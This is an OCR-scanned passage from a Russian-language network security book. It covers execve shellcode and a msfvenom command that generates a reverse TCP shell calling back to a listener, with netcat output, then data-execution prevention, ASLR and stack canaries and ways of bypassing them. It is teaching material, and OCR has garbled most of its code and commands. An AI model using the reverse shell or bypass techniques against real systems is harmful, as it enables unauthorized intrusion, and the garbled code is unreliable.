; Ви епуігоптепё аггау оп ѕїаск = { МОШ } 
риѕћ 0 
Ө тоу гах, гѕр 
Ө ѕуѕса11 
; ехесуе ѕһоџ1ап'Ё гефигп, Биё јиѕі іп саѕе 
геї 


_ехес раїћ: 

96 "/Біп/ипате", © 
_агдутеп*: 

ар "-а", 0 


Шелл-код из листинга 10.19 сложен, поэтому разберем его пошаго- 
во. Сначала в регистры загружаются адреса двух строк: " /Біп/ипапе" 
и "-а" ө. Адреса двух строк с 0 на конце затем помещаются в стек 
в обратном порядке Ө. Код копирует текущий адрес стека в регистр 
КІ, который является вторым аргументом системного вызова Ө. 
После этого МОГ, помещается в стек для массива окружения, а адрес 
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в стеке копируется в регистр ВОХ Ө, который является третьим аргу- 
ментом системного вызова. Регистр КОГ уже содержит адрес строки 
"[Ь1п/упаме", поэтому шелл-коду не нужно перезагружать адрес пе- 
ред вызовом системного вызова. Наконец, мы выполняем системный 
вызов ехесуе Ө, который выполняет оболочку, эквивалентную следу- 
ющему коду на языке С: 


сһаг* аг95[] = { "/Біп/ипате", "-а", МЕ }; 
сһаг* епур[] = { МІ }; 
ехесуе(" /Біп/опатме", агд$, епур); 


Если вы соберете шелл-код ехесуе, то должны увидеть вывод, ана- 
логичный приведенному ниже, где выполняется командная строка 
/Біп/ипапе -а: 


$ пазм -Ё БАп -о ехесуе.БАп ехесуе.а$т 

$ ./ёеѕі ѕһе11сойе ехесу.Біп 

Марреа Абйгеѕ5: 0х7ҒЬіс3с1е000 

ІАпих ЁооБаг 4.4.0 Мед дес 31 14:42:53 Р5Т 2014 х86 64 х86 64 х86 64 ОМ№О/ пих 


Генерация шелл-кода с помощью Мею5р/ой 


Стоит попрактиковаться в написании собственного шелл-кода, чтобы 
лучше понять его. Однако поскольку они пишутся уже на протяжении 
длительного периода времени, широкий спектр шелл-кодов для ис- 
пользования на различных платформах и для разных целей можно 
найти в интернете. 

Проект Меѓаѕріоїї - один из репозиториев шелл-кода, который мо- 
жет оказаться полезным. Мегазр]ой дает возможность сгенерировать 
шелл-код в виде двоичного ВГОВ-объекта, который можно легко под- 
ключить к собственному эксплойту. Использование Меѓаѕріоії имеет 
множество преимуществ: 


• обработка кодирования шелл-кода путем удаления запрещен- 
ных символов или форматирования, чтобы избежать обнаруже- 
ния; 


• поддержка множества различных методов получения контроля 
над выполнением кода, включая простую обратную оболочку 
и выполнение новых двоичных файлов; 


• поддержка нескольких платформ (включая Шіпих, Міпаомѕ 
и тасО5), а также архитектур (например, х86, х64 и АКМ). 


Я не буду подробно объяснять, как создавать модули Меѓаѕріоії 
или использовать их поэтапный шелл-код, требующий использова- 
ния консоли Меазрой для взаимодействия с целью атаки. Вместо 
этого я воспользуюсь простым примером обратной оболочки ТСР, 
чтобы показать, как сгенерировать шелл-код с помощью Меазр]ой. 
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(Напомним, что обратная оболочка позволяет целевой машине обме- 
ниваться данными с машиной злоумышленника через слушающий 
порт, который злоумышленник может использовать, чтобы получить 
контроль над выполнением кода.) 


Доступ к вредоносному компоненту Меазр ой 


Утилита командной строки тѕЁуепоп поставляется с установкой 
Мегазр]ой и обеспечивает доступ к различным полезным нагрузкам 
шелл-кода, встроенным в Меазр]ой. Можно перечислить компо- 
ненты или код, выполняемый эксплойтом (полезную нагрузку), под- 
держиваемые для 64-разрядой версии Шпих, используя параметр -1 
и отфильтровав вывод: 


# п5Руепом -1 | гер 1Апих/хб4 

- -обрезано- - 

1 лих/хб4 / Ве _Б1п9 ср Ііѕёеп Ғог а соппес оп апі ѕрамп а соттап ѕће11. 
11пих/х64/ѕће11_гемегѕе ср Соппесё Баск фо аїѓаскег апа ѕрамп а соммап@ ѕће11. 


Мы будем использовать: 


• Ѕһе11 Біпа ср – привязывается к ТСР-порту и открывает ло- 
кальную оболочку при подключении к нему; 


• Ѕһе11 геуегѕе ср – пытается подключиться к вашей машине 
с прикрепленной оболочкой. 


Оба они должны работать с простым инструментом, таким как №еѓ- 
саї, подключаясь к целевой системе либо выполняя прослушивание 
в локальной системе. 


Создание обратной оболочки 


При генерации шелл-кода необходимо указать порт прослушивания 
(для ѕһе11 Біпа ср и ѕһе11_гемегѕе їср) и ІР-адрес прослушивания 
(для обратной оболочки это ІР-адрес вашего устройства). Эти пара- 
метры указываются путем передачи ІРОВКТ=рогї и ЕНО$Т=ТР соответ- 
ственно. Мы будем использовать следующий код для создания обрат- 
ной оболочки, которая будет подключаться к хосту 172.21.21.1 через 
ТСР-порт 4444: 


# т5Ғуепот -р 11пих/х64/5һе11_гемегѕе ср -Ғ гам 1Н057=172.21.21.1\ 
[РОВТ=4444 > тѕЁ ѕһе11соде.Біп 


По умолчанию тѕЁуепот выводит шелл-код на стандартный вывод, 
поэтому вам нужно будет передать его в файл; в противном случае 
он просто будет выведен на консоль и будет потерян. Также необхо- 
димо указать флаг -{ гам для вывода шелл-кода в виде необработан- 
ного двоичного ВГОВ-объекта. Есть и другие возможные варианты. 
Например, можно вывести код оболочки в небольшой исполняемый 
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файл с расширением .е/ў, который можно запускать напрямую для 
тестирования. Поскольку у нас есть тестовая программа, нам это не 
понадобится. 


Выполнение вредоносного компонента 


Чтобы выполнить вредоносный код, нужно настроить экземпляр пе*- 
саї, который слушает порт 4444 (например, пс -1 4444). Возможно, вы 
не увидите подсказку при установлении соединения. Однако при на- 
боре команды 14 должен появиться результат: 


$ пс -1 4444 

# 

Ожидание соединения 

19 

119=1000(изег) 914=1000(изег) дгоур$=1000(изег) 


Результат показывает, что оболочка успешно выполнила команду 
1а, в системе, где запущен шелл-код, и вывела из системы идентифи- 
каторы пользователя и группы. Аналогичный вредоносный компо- 
нент можно использовать в Міпаоуѕ, тасО5 и даже $0]а11$. Возмож- 
но, вам стоит самостоятельно изучить различные варианты, которые 
есть в тѕҒуепоп. 


Устранение уязвимостей пореждения памяти 


В разделе «Эксплуатация уязвимостей пореждения памяти» я упомя- 
нул о средствах защиты и о том, как они затрудняют эксплуатацию 
уязвимостей памяти. По правде говоря, эксплуатировать уязвимость 
пореждения памяти, в большинстве современных платформ может 
быть довольно непросто из-за средств защиты от эксплойтов, добав- 
ленных в компиляторы (и сгенерированное приложение), а также 
в ОС. 

Уязвимости в системе безопасности кажутся неизбежной частью 
разработки программного обеспечения, как и значительные фраг- 
менты исходного кода, написанные на языках, небезопасных с точки 
зрения доступа к памяти, которые не обновляются в течение длитель- 
ных периодов времени. Поэтому маловероятно, что уязвимости по- 
реждения памяти, исчезнут в одночасье. 

Вместо того чтобы пытаться исправить все эти уязвимости, разра- 
ботчики внедрили умные методы для смягчения воздействия извест- 
ных слабых мест в системе безопасности. 

В частности, эти методы нацелены нато, чтобы затруднить эксплуа- 
тацию уязвимостей пореждения памяти, или, в идеале, сделать ее не- 
возможной. В этом разделе я опишу методы защиты от эксплойтов, 
используемые в современных платформах и инструментах разработ- 
ки, которые затрудняют эксплуатацию этих уязвимостей. 
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Предотвращение выполнения данных 


Как вы видели ранее, одна из основных целей при разработке экс- 
плойта – получить контроль над указателем инструкций. В преды- 
дущем объяснении я не рассказывал о проблемах, которые могут 
возникнуть при помещении вашего шелл-кода в память и его выпол- 
нении. На современных платформах вы вряд ли сможете выполнить 
произвольный шелл-код так же легко, как описано ранее, из-за пре- 
дотвращения выполнения данных. 

Данная функция безопасности пытается снизить риск эксплуата- 
ции уязвимостей пореждения памяти, требуя, чтобы память с испол- 
няемыми инструкциями была специально выделена ОС. Для этого 
необходима поддержка процессора, поэтому если процесс пытается 
выполнить память по адресу, который не помечен как исполняемый, 
процессор выдает ошибку. Затем ОС завершает ошибочный процесс, 
чтобы предотвратить дальнейшее выполнение. 

Ошибку, возникающую в результате выполнения неисполняемой 
памяти, трудно заметить, и поначалу это сбивает с толку. Почти все 
платформы неверно сообщают об этой ошибке как Ѕедтепёаёіоп Рац { 
или Ассеѕ5 уіо1аїіоп касательно того, что выглядит как потенциаль- 
но допустимый код. Вы можете принять данную ошибку за попытку 
инструкции получить доступ к недопустимой памяти. Из-за этой пу- 
таницы вы потратите время на отладку кода, чтобы выяснить, почему 
шелл-код выполняется неправильно, полагая, что это вызвано ошиб- 
кой в вашем коде, хотя на самом деле срабатывает функция предот- 
вращения выполнения данных. Например, посмотрите на код в лис- 
тинге 10.20. 


Листинг 10.20. Пример сбоя из-за выполнения неисполняемой памяти 


СМО а4Ь 7.7.1 
(996) г 
Зфагпд ргодгат: /һоте/иѕег/ёгіаде/ер 


Ргодгат гесеімей ѕідпа1 5165ЕСУ, бедтепеа оп Рац. 
ОхЬҒЕҒҒ730 іп ?? () 


(996) х/3і $рс 

=> ӨХЬРҒЕҒ730: риѕһ 50х2а® 
ОхЬҒҒЕҒ732: рор %еах 
ОХхЬҒҒҒҒ733: геї 


Сложно определить источник этого сбоя. На первый взгляд может 
показаться, что он произошел из-за недопустимого указателя стека, 
потому что инструкция риѕћ ® приведет к той же ошибке. Только по- 
смотрев, где находится инструкция, можно обнаружить, что она вы- 
полняла неисполняемую память. Можно определить, находится ли она 
в исполняемой памяти, используя команды, описанные в табл. 10.8. 
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Во многих случаях предотвращение выполнения данных очень 
эффективно для предотвращения легкой эксплуатации уязвимостей 
пореждения памяти, потому что разработчику платформы легко 
ограничить исполняемую память определенными исполняемыми мо- 
дулями, оставив такие области, как куча или стек, неисполняемыми. 
Однако подобное ограничение требует аппаратной и программной 
поддержки, что делает программное обеспечение уязвимым из-за 
человеческой ошибки. Например, при эксплуатации простого устрой- 
ства, подключенного к сети, разработчики могут не позаботиться об 
активации предотвращения выполнения данных, или оборудование, 
которое они используют, не поддерживает его. 

Если же оно все же активировано, то можно использовать метод 
возвратно-ориентированного программирования в качестве обход- 
ного пути. 


Использование метода возвратно-ориентированного 
программирования 


Развитие техники возвратно-ориентированного программирования 
(ВОР) было прямым ответом на увеличение числа платформ, осна- 
щенных функцией предотвращения выполнения данных. КОР - это 
простой метод, который повторно использует существующие, уже 
исполняемые инструкции, вместо того чтобы вводить произвольные 
инструкции в память и выполнять их. Рассмотрим простой пример 
эксплойта для повреждения стековой памяти с использованием этой 
техники. 

На Отих-подобных платформах в библиотеке С, которая предостав- 
ляет базовый АРІ для таких приложений, как открытие файлов, так- 
же есть функции, позволяющие запускать новый процесс, передавая 
командную строку в программном коде. Такой функцией является 
ѕуѕїет(), которая имеет следующий синтаксис: 


іпі ѕуѕёет(сопѕЁ сһаг *соттапаӣ); 


Она принимает простую командную строку, которая представляет 
программу для запуска и аргументы командной строки. Эта строка 
передается интерпретатору команд, к которому мы вернемся позже. 
А пока знайте, что если вы напишете следующий код в приложении С, 
это приведет к выполнению приложения 15 в оболочке: 


ѕуѕёет("15"); 


Если нам известен адрес АРІ ѕуѕїет в памяти, то мы можем перена- 
править указатель инструкции на начало инструкций АРІ; крометого, 
если мы можем повлиять на параметр в памяти, то можем запустить 
новый процесс под нашим контролем. Вызов АРІ зуз{ем позволяет 
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обойти предотвращение выполнения данных, поскольку с точки зре- 
ния процессора и платформы вы выполняете допустимые инструк- 
ции в памяти, помеченной как исполняемая. На рис. 10.8 этот процесс 
показан более подробно. 


Дополнительные вызовы 


Рупс: 
геё 
| Ехесифе зузфем ("15") 


зузем: 
ге+ 
| Ехесиёе ехії(0) 


Направление заполнения стека 


ехії: 


Текущий стек 
ѕуѕса11 


Рис. 10.8. Простое возвратно-ориентированное программирование 
для вызова АРІ ѕуѕїет 


В этой очень простой визуализации КОР выполняет функцию, пре- 
доставленную библиотекой С (Ыс), чтобы обойти предотвращение 
выполнения данных. Этот метод, известный как Аеѓ2[1рс, заложил 
основу КОР в том виде, в каком мы его знаем сегодня. Можно обоб- 
щить данную технику для написания практически любой программы 
с использованием КОР, например для реализации тьюринг-полной 
системы, полностью манипулируя стеком. 

Ключом к пониманию ВОР является знание того, что последователь- 
ность инструкций не обязательно должна выполняться, поскольку она 
изначально была скомпилирована в исполняемый код программы. 
Это означает, что вы можете брать небольшие фрагменты кода по всей 
программе или в другом исполняемом коде, таком как библиотеки, 
и использовать их для выполнения действий, которые разработчики 
изначально не собирались выполнять. Такие небольшие последова- 
тельности инструкций, которые выполняют полезные функции, назы- 
ваются гаджетами. На рис. 10.9 показан более сложный пример КОР, 
который открывает файл, а затем записывает в него буфер данных. 

Поскольку значение дескриптора файла, возвращающегося из 
функции ореп(), вероятно, не может быть известно заранее, эту за- 
дачу было бы сложнее выполнить с помощью более простой техники 
ВеЕ2Г с. 

Заполнить стек правильной последовательностью операций легко, 
если у вас есть переполнение буфера стека. Но что, если у вас есть 
только какой-то другой метод получения начального выполнения 
кода, например переполнение буфера кучи? В этом случае вам пона- 
добится подмена стека, который представляет собой гаджет ВОР, по- 
зволяющий установить для текущего указателя стека известное зна- 
чение. Например, если эксплойт указывает на буфер памяти, которым 
вы управляете (возможно, это указатель таблицы виртуальных функ- 
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ций), то можно получить контроль над указателем стека и выполнить 
цепочку КОР с помощью гаджета, который выглядит, как показано 
в листинге 10.21. 


Длина данных 


Указатель на данные 


Возврат: САРСЕТЗ 


САОСЕТ1 : 


0х10 байтовое пространство я 
рор еді 
рор еѕі 

Возврат: САРСЕТ2 рор есх .. 


Направление заполнения стека 


геї ж» САРсЕТ2: 
Адрес ореп роѕћ еді 
роѕћ еѕі 
0 МАОМУ са\1 есх 
Р айа еѕр, 0х10 КЕИ 
Указатель на " /&тр/му# Це" ге САОСЕТЗ: 


ореп(" /&тр/муЛе", О МАОМҮ) роѕћ еах 
Нижний кадр стека == —_> сай игіїе 
мгіёе(?а, &Чафа, 1епдЁһ) геі 


Рис. 10.9. Более сложный вариант возвратно-ориентированного 
программирования, где мы вызываем функцию ореп(), 
а затем осуществляем запись в файл с помощью пары гаджетов 


Листинг 10.21. Получение контроля над выполнением кода 
с использованием гаджета 


хсһ9 еѕр, еах # Ехсһапде {Ве ЕАХ апа ЕЅР гедіѕЁегѕ 
геї # Веигп, мі11 ехесифе айдгеѕѕ оп пем ѕїаск 


Гаджет, показанный в листинге 10.21, переключает значение ре- 
гистра ЕАХ на значение ЕР, которое индексирует стек в памяти. По- 
скольку мы контролируем значение ЕАХ, то можно подменить распо- 
ложение стека (как, например, на рис. 10.9). 

К сожалению, использование ВОР для обхода предотвращения вы- 
полнения данных не лишено проблем. Рассмотрим некоторые огра- 
ничения КОР и способы их устранения. 


Рандомизация размещения адресного пространства 


Использование ВОР для обхода предотвращения выполнения данных 
создает ряд проблем. Во-первых, вам нужно знать расположение си- 
стемных функций или гаджетов КОР, которые вы пытаетесь выполнить. 
Во-вторых, вам нужно знать расположение стека или других адресов 
памяти, которые будут использоваться в качестве данных. Однако по- 
иск местоположения не всегда был ограничивающим фактором. 
Когда функция предотвращения выполнения данных была впервые 
представлена в Міпӣоуѕ ХР 5Р2, все двоичные файлы системы и ос- 
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новной исполняемый файл сопоставлялись в согласованных местах, 
по крайней мере для данной версии обновления и языка. (Вот поче- 
му более ранние модули Меѓаѕріоії требуют, чтобы вы указали язык.) 
Кроме того, работа кучи и расположение стеков потоков были почти 
полностью предсказуемыми. Поэтому в ХР $Р2 было просто обойти 
предотвращение выполнения данных, потому что можно было уга- 
дать расположение всех компонентов, которые могли понадобиться 
для выполнения КОР-цепочки. 


Уязвимости, связанные с раскрытием информации о памяти 


С введением рандомизации размещения адресного пространства 
(АЗГВ) обойти предотвращение выполнения данных стало труднее. 
Как следует из названия, цель данного метода - рандомизировать 
структуру адресного пространства процесса, чтобы злоумышленнику 
было труднее его предсказать. Рассмотрим несколько способов, с по- 
мощью которых можно обойти защиту, обеспечиваемую АЗГВ. 

До появления АЗГВ уязвимости, связанные с раскрытием инфор- 
мации, обычно были полезны для обхода защиты приложения, разре- 
шая доступ к защищенной информации в памяти, такой как пароли. 
Эти типы уязвимостей нашли новое применение: раскрытие струк- 
туры адресного пространства для противодействия рандомизации 
с помощью АЅІК. 

Для такого рода эксплойтов не всегда нужно искать конкретную 
уязвимость; в некоторых случаях ее можно создать, используя уязви- 
мость пореждения памяти. Возьмем в качестве примера уязвимость 
пореждения памяти в куче. Мы можем гарантированно перезаписать 
произвольное количество байтов после динамического выделения 
памяти, что, в свою очередь, можно использовать для раскрытия со- 
держимого памяти с помощью переполнения буфера кучи, например 
одна общая структура, которая может быть выделена в куче, - это бу- 
фер, содержащий длину, - строка с префиксом, и когда буфер строки 
выделяется, дополнительное количество байтов помещается впереди 
для размещения поля длины. Строковые данные затем сохраняются 
после длины, как показано на рис. 10.10. 


лы буфер (9 байт) 


Длина строки Строковые данные 
Уязвимое выделение 5 байт «Нео» 


ИИ данные (5 байт) 


р ЗОРИН буфер (9 байт) 


Длина строки Строковые данные 


Вон ^ переполнения т еее данные (100 байт) 


Рис. 10.10. Преобразование повреждения памяти в раскрытие информации 
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Вверху находится исходный образец динамического выделения 
памяти ®. Если уязвимое выделение размещается перед строковым 
буфером в памяти, то у нас есть возможность повредить строковый 
буфер. До того, как произойдет какое-либо повреждение, мы можем 
прочитать только 5 действительных байт из него. 

В нижней части мы вызываем переполнение уязвимого выделения 
ровно настолько, чтобы изменить только поле длины строки Ө. Мож- 
но установить для длины произвольное значение, в данном случае 
100 байт. Теперь, когда мы читаем строку, то возвращаем 100 байт, 
а не только 5 байт, которые были выделены изначально. Поскольку 
выделение строкового буфера не такое большое, будут возвращены 
данные из других выделений, которые могут включать в себя конфи- 
денциальные адреса памяти, например указатели таблицы виртуаль- 
ных функций и указатели динамического выделения памяти. Это даст 
вам достаточно информации, чтобы обойти АЗГВ. 


Использование недостатков реализации АЗЁВ 


Реализация АЅІК никогда не бывает идеальной из-за ограничений 
производительности и доступной памяти. Эти приводит к различным 
недостаткам конкретной реализации, которые также можно исполь- 
зовать для раскрытия рандомизированных адресов памяти. 

Чаще всего расположение исполняемого файла в АЗГВ не всегда 
рандомизировано между двумя отдельными процессами, что приво- 
дит к возникновению уязвимости, которая может раскрыть располо- 
жение памяти от одного подключения к сетевому приложению, даже 
если это может вызвать сбой данного конкретного процесса. После 
этого адрес памяти можно использовать в последующем эксплойте. 

В Опіх-подобных системах, таких как Ипих, отсутствие рандомиза- 
ции должно происходить только в том случае, если эксплуатируемый 
процесс является ответвлением существующего главного процесса. 
Когда процесс разветвляется, ОС создает идентичную копию исходно- 
го процесса, включая весь загруженный исполняемый код. Серверы, 
например АрасВе, довольно часто используют модель ветвления для 
обслуживания новых подключений. Главный процесс будет занимать 
серверный сокет, ожидая новых подключений, и когда подключение 
будет создано, новая копия текущего процесса будет разветвлена, 
и подключенный сокет будет передан для обслуживания подключения. 

В системах семейства Міпӣоуѕ этот недостаток проявляется по-дру- 
гому. На самом деле Міпаомѕ не поддерживает процессы ветвления, 
хотя после того, как конкретный адрес загрузки исполняемого файла 
будет рандомизирован, он всегда будет загружаться по этому же адре- 
су до тех пор, пока система не будет перезагружена. Если бы этого не 
было, ОС не могла бы использовать ПЗУ между процессами, что при- 
вело бы к увеличению его использования. 

С точки зрения безопасности результат состоит в том, что если вы 
один раз допустили утечку, адреса памяти останутся такими же, пока 
система не будет перезагружена. Можно использовать это в своих ин- 
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тересах, потому что вы можете организовать утечку из одного выпол- 
нения (даже если это приведет к сбою процесса), а затем применить 
этот адрес для конечного эксплойта. 


Обход АЅІК с помощью частичной перезаписи 


Еще один способ обойти АЗГВ - использовать частичную перезапись. 
Поскольку память имеет тенденцию разделяться на отдельные стра- 
ницы, например 4096 байт, операционные системы ограничивают 
способ загрузки исполняемого кода и произвольной компоновки па- 
мяти. Например, Міпаомѕ выделяет память на границах 64 КБ. Это 
приводит к интересному недостатку, заключающемуся в том, что 
младшие биты случайных указателей памяти могут быть предсказуе- 
мыми, даже если старшие биты абсолютно случайные. 

Отсутствие рандомизации в младших битах может показаться не 
такой уж большой проблемой, потому что вам все равно придется 
угадывать старшие биты адреса, если вы перезаписываете указатель 
в памяти. Фактически это позволяет выборочно перезаписывать часть 
значения указателя при использовании архитектуры с прямым по- 
рядком байтов из-за способа хранения значений указателя в памяти. 

Большинство используемых сегодня архитектур процессоров име- 
ют обратный порядок байтов (порядок байтов более подробно обсуж- 
дался в разделе «Двоичный порядок байтов»). 

Самая важная деталь, которую нужно знать об этом порядке бай- 
тов для частичной перезаписи, заключается в том, что младшие биты 
значения хранятся по более низкому адресу. Повреждения памяти, 
такие как переполнение стека или кучи, обычно записываются с ниж- 
него адреса на верхний. Следовательно, если вы можете контролиро- 
вать длину перезаписи, то можете выборочно перезаписывать только 
предсказуемые младшие биты, а не рандомизированные старшие 
биты. Затем можно использовать частичную перезапись, чтобы пре- 
образовать указатель для другой ячейки памяти, например гаджета 
КОР. На рис. 10.11 показано, как изменить указатель памяти с по- 
мощью частичной перезаписи. 


0х07060504 
4—5 
9» [8 [= 
0х0706ВВАА 
4—54 
ва [> 
Рис. 10.11. Пример 
О 
Направление переполнения короткой перезаписи 


Начнем с адреса 0х07060504. Мы знаем, что благодаря АЅІВ верх- 
ние 16 бит (часть 0х0706) рандомизированы, а младшие 16 бит нет. 
Если мы знаем, на какую память ссылается указатель, то можем вы- 
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борочно изменить младшие биты и точно указать ячейку. В этом при- 
мере мы перезаписываем младшие 16 бит, чтобы создать новый адрес 
0х0706ВВАА. 


Обнаружение переполнения стека с помощью 
предохранителей 


Предохранители, или куки, используются для предотвращения экс- 
плуатации уязвимости пореждения памяти, путем обнаружения по- 
вреждения и немедленного завершения работы приложения. Чаще 
всего они встречаются, когда речь идет о предотвращении повреж- 
дения стековой памяти, но также могут использоваться для защиты 
других типов структур данных, таких как заголовки кучи или указате- 
ли виртуальных таблиц. 

Предохранитель - это случайное число, генерируемое приложе- 
нием во время запуска. Оно хранится в глобальной памяти, поэтому 
к нему может получить доступ весь код в приложении. Это число по- 
мещается в стек при входе в функцию. Затем, при выходе из функции, 
случайное значение извлекается из стека и сравнивается с глобаль- 
ным значением. Если глобальное значение не соответствует тому, что 
было извлечено из стека, приложение предполагает, что память сте- 
ка повреждена, и как можно скорее завершает процесс. На рис. 10.12 
показано, как вставка этого случайного числа позволяет обнаружить 
опасность, подобно канарейке в угольной шахте, помогая предотвра- 
тить получение злоумышленником доступа к адресу возврата. 


Верхний кадр стека 


Переполненный 
буфер стека 


0х12545678 


Верхний кадр стека 


Адрес возврата 


Исходный предохранитель! = 
Текущий предохранитель 


Буфер стека 


Буфер стека 


Направление переполнения 


Локальные 
переменные 


Локальные 
переменные 


Рис. 10.12. Переполнение стека с предохранителем 


Размещение предохранителя под адресом возврата в стеке гаран- 
тирует, что любое повреждение переполнения, которое могло бы из- 
менить адрес возврата, также изменило бы и предохранитель. Пока 
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1пЕ ОоботеЕВ\пд(сопзЕ сһаг* $%г) 


{ 


іпе (*Р)(сопзЕ сһаг*) = Аррк 


сһаг БиҒҒғег [32]; 


$Егсру(БиРег, ѕЁг); 
геёигп #(Би#Ғег); 


это значение трудно угадать, злоумышленник не может получить 
контроль над обратным адресом. Перед возвратом функции вызы- 
вается код, чтобы проверить, соответствует ли предохранитель стека 
ожидаемому значению. В случае несоответствия программа тотчас же 
аварийно завершает работу. 


Обход предохранителей путем повреждения локальных 
переменных 


Обычно предохранители защищают только адрес возврата текущей 
выполняемой функции в стеке. Однако в стеке есть и другие вещи, 
которые можно эксплуатировать, помимо переполненного буфера. 
Это могут быть указатели на функции, указатели на объекты класса 
с таблицей виртуальных функций или, в некоторых случаях, целочис- 
ленная переменная, которую можно перезаписать. Этого может быть 
достаточно для эксплуатации переполнения стека. 

Если переполнение буфера стека имеет контролируемую длину, 
то можно перезаписать эти переменные без повреждения предохра- 
нителя. Даже если он поврежден, это может быть не важно, если пе- 
ременная используется до проверки предохранителя. На рис. 10.13 
показано, как злоумышленники могут повредить локальные пере- 
менные, не затрагивая предохранитель. 


Пү 


Е = АБОВ 


© 
Боғғег[32] 


0х12345678 


Шелл-код по адресу 
0х12545678 


БиЁРег[32] 


Направление переполнения 


Рис. 10.13. Повреждение локальных переменных без отключения предохранителя 


В этом примереу нас есть функция с указателем функции в стеке. 
Из-за того, как устроена память стека, буфер, который мы перепол- 
няем, находится по более низкому адресу, чем указатель функции #, 
который также находится в стеке ®. 

Когда выполняется переполнение, оно повреждает всю память над 
буфером, включая адрес возврата и предохранитель Ө. Однако до за- 
пуска кода проверки предохранителя (который завершает процесс) 
используется указатель функции +. Это означает, что мы по-прежне- 
му выполняем код Ө, осуществляя вызов через #, и повреждение так 
и не будет обнаружено. 
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Современные компиляторы могут защитить от повреждения ло- 
кальных переменных, включая переупорядочение переменных таким 
образом, чтобы буферы всегда располагались выше любой отдельной 
переменной, которую в случае повреждения можно использовать для 
эксплуатации уязвимости. 


Обход предохранителей и недостаточное заполнение буфера стека 


Из соображений производительности не каждая функция помещает 
предохранитель в стек. Если функция не управляет буфером памяти 
в стеке, компилятор может счесть это безопасным и не выдать инструк- 
ции, необходимые для добавления предохранителя. В большинстве 
случаев это правильно. Однако некоторые уязвимости необычным об- 
разом переполняют буфер стека: например, уязвимость может вызвать 
недостаточное заполнение вместо переполнения, повреждая данные 
ниже в стеке. На рис. 10.14 показан пример уязвимости такого типа. 


моіа роЅотеёћіпд() { 


ОЕ БР Верхний кадр стека 


Верхний кадр стека 


Ргосеѕ5(БиЁҒег); 


} 


Кадр стека 


Предохранитель Предохранитель 


риҝег[32] риҝег[32] 


ө 


Шелл-код по адресу 
0х12345678 


Возврат 


Кадр стека 


винениоцаааи эинаия еацен 


моіа Ргосеѕѕ(іпі* р) 


р[-1] = 0х12345678; 
} ө 


Рис. 10.14. Недостаточное заполнение буфера 


Здесь приведены три этапа. Сначала вызывается функция роЅоте- 
єһіпо()ө. Она устанавливает буфер в стеке. Компилятор определя- 
ет, что этот буфер должен быть защищен, поэтому генерирует пре- 
дохранитель, чтобы защитить переполнение от перезаписи адреса 
возврата роЅотеёћіпо(). Далее функция вызывает метод Ргосеѕѕ(), 
передавая указатель на установленный буфер. Вот где происходит 
повреждение памяти. Однако вместо того, чтобы переполнять буфер, 
Ргосеѕ5() записывает значение, указанное ниже, например ссылаясь 
нар[-1] Ө. Это приводит к повреждению адреса возврата кадра стека 
метода Ргосеѕѕ(), который защищен предохранителем. После этого 
Ргосеѕѕ() возвращается к поврежденному адресу возврата, в резуль- 
тате чего происходит выполнение шелл-кода ®. 
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Заключительное слово 


Поиски эксплуатация уязвимостей в сетевом приложении могут быть 
непростым делом, но в этой главе представлены методы, которые 
вы можете использовать. Я описал, как сортировать уязвимости для 
определения первопричины с помощью отладчика; зная первопри- 
чину, можно приступить к эксплуатации уязвимости. Я также привел 
примеры написания простого шелл-кода и разработки вредоносного 
компонента с использованием возвратно-ориентированного про- 
граммирования для обхода предотвращения выполнения данных для 
защиты от эксплойтов. Наконец, я описал другие распространенные 
средства защиты от эксплойтов в современных операционных систе- 
мах, такие как АЗГВ и предохранители, а также методы обхода этих 
средств защиты. 

Это последняя глава. На данном этапе вы должны знать, как пе- 
рехватывать и анализировать трафик, использовать обратное проек- 
тирование и эксплуатировать уязвимости сетевых приложений. Луч- 
ший способ улучшить свои навыки - найти как можно больше сетевых 
приложений и протоколов. Имея опыт, вы легко найдете распростра- 
ненные структуры и определите закономерности в поведении прото- 
кола, при котором обычно обнаруживаются уязвимости. 


НАБОР ИНСТРУМЕНТОВ 
ДЛЯ АНАЛИЗА СЕТЕВЫХ 
ПРОТОКОЛОВ 


тек, которые можно использовать для анализа сетевых прото- 

колов, но не обсуждал многие из тех, которые я использую регу- 
лярно. В данном приложении описаны инструменты, которые я счел 
полезными при анализе, исследовании и эксплуатации. Каждый ин- 
струмент классифицируется в зависимости от использования, хотя 
некоторые инструменты можно отнести к нескольким категориям. 


В этой книге я продемонстрировал ряд инструментов и библио- 


Инструменты для пассивного перехвата и анализа 
сетевых протоколов 
Как обсуждалось в главе 2, пассивный перехват относится к прослу- 


шиванию и перехвату пакетов без нарушения потока трафика. 


Місгоѕојє Меѕѕаде Апа!у2ег 


Сайт: һіѓр;//1095.іесһпеїсот/Б/теѕѕадеапа!уғег/ 
Лицензия: коммерческая бесплатная 
Платформа: Міпаӣоуѕ 


Місгоѕоё Меѕѕағе Апа[у7ег – это расширяемый инструмент для ана- 
лиза сетевого трафика в Міпаӣомѕ. Он включает в себя множество 
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парсеров для разных протоколов, и его можно расширить с помощью 
специального языка программирования. Многие из его функций ана- 
логичны функциям Мігеѕһагк, за исключением того, что в Меѕѕаве 
Апа1у2ег добавлена поддержка событий Міпӣоугѕ. 


В датіпіѕітаќог: Мегозой Меѕѕаде Апаіугег 
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7% 129 2015-09-29713:36:18.1734921 Ө.0000334 ІРу4 Іоорраск еаѕѕетЫ1ейТСР ТСР Мігїиа1 Веаззетьлед 56 
+ [№ 132 © 2015-09-20т13:36:18.1734995 Ө.0000006 ІРу4 Іоорраск ТСР Ғ1авѕ: ...АР..., ЅгсРогіг 
14% 141 2015-09-20113:36:18.9781078 0.0000386 ІРу4 Гоорбаск ІРу4 Іоорраск Веаѕѕетр1еаТСР ТСР Мігџг1 Веаззеть1ед 5е 
ОФ 144 Ө 2015-9-20т1з:3 ө.геггөәз ІРу4 1 оорЬаск ІРу4 Іоорбаск ТСР Ғ1арѕ: ...АР..., ЅгсРогі: 
Ф 149 2015-09-20Т13: 31 ТРу4 1 оорбаск ТРу4 |оорбаск ТСР „..Р, ЅгсРогё: 
Ф 159 Ө 2015-09-20т13:3 ІРу4 І0орраск ІРу4 поорбаск ТСР ...Е, ЅгсРогё: 
7% 151 2015-09-29713:3 ІРу4 Іоорраск ІРу4 поорбаск ТСР ...» ЅгеРогі: 
14% 152 © 2015-09-20т13:36:19.3811070 ІРу4 Іоорраск ІРу4 поорваск ТСР ....» ЅгсРогі: 
Ф 153 2015-09-20113:36:19.3812683 ТРу4 поорбаск ТРу4 І оорЬаск ТСР ..А...Е, ЅгсРогё: м 
Меѕѕаде Ѕівск 1 х бей х Нев ба х 
